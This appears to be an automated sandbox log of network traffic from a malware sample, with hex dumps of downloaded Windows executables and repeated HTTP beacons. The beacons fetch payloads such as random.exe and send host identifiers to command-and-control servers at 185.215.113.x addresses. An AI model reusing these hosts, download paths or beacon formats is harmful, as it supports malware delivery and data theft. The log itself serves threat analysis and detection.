Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:33 GMTContent-Type: application/octet-streamContent-Length: 2822144Last-Modified: Thu, 31 Oct 2024 19:14:55 GMTConnection: keep-aliveETag: "6723d72f-2b1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 80 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 77 6b 73 69 67 6d 6c 00 c0 2a 00 00 a0 00 00 00 b0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 74 77 6e 6d 63 63 73 00 20 00 00 00 60 2b 00 00 04 00 00 00 ea 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ee 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:45 GMTContent-Type: application/octet-streamContent-Length: 1886208Last-Modified: Thu, 31 Oct 2024 19:30:05 GMTConnection: keep-aliveETag: "6723dabd-1cc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 32 ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 ca 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 ca 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 6c 65 6a 73 74 62 00 b0 19 00 00 20 31 00 00 ac 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 73 70 74 75 79 79 6e 00 10 00 00 00 d0 4a 00 00 04 00 00 00 a2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4a 00 00 22 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:45 GMTContent-Type: application/octet-streamContent-Length: 2822144Last-Modified: Thu, 31 Oct 2024 19:14:55 GMTConnection: keep-aliveETag: "6723d72f-2b1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 80 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 77 6b 73 69 67 6d 6c 00 c0 2a 00 00 a0 00 00 00 b0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 74 77 6e 6d 63 63 73 00 20 00 00 00 60 2b 00 00 04 00 00 00 ea 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ee 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:52 GMTContent-Type: application/octet-streamContent-Length: 1886208Last-Modified: Thu, 31 Oct 2024 19:30:05 GMTConnection: keep-aliveETag: "6723dabd-1cc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 32 ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 ca 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 ca 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 6c 65 6a 73 74 62 00 b0 19 00 00 20 31 00 00 ac 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 73 70 74 75 79 79 6e 00 10 00 00 00 d0 4a 00 00 04 00 00 00 a2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4a 00 00 22 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002975001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002976001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build"tale------IJDHDGDAAAAKFIDGHJDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002977001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="build"tale------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002978001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMTIf-None-Match: "6723dab6-208800"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002979001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="build"tale------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="build"tale------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
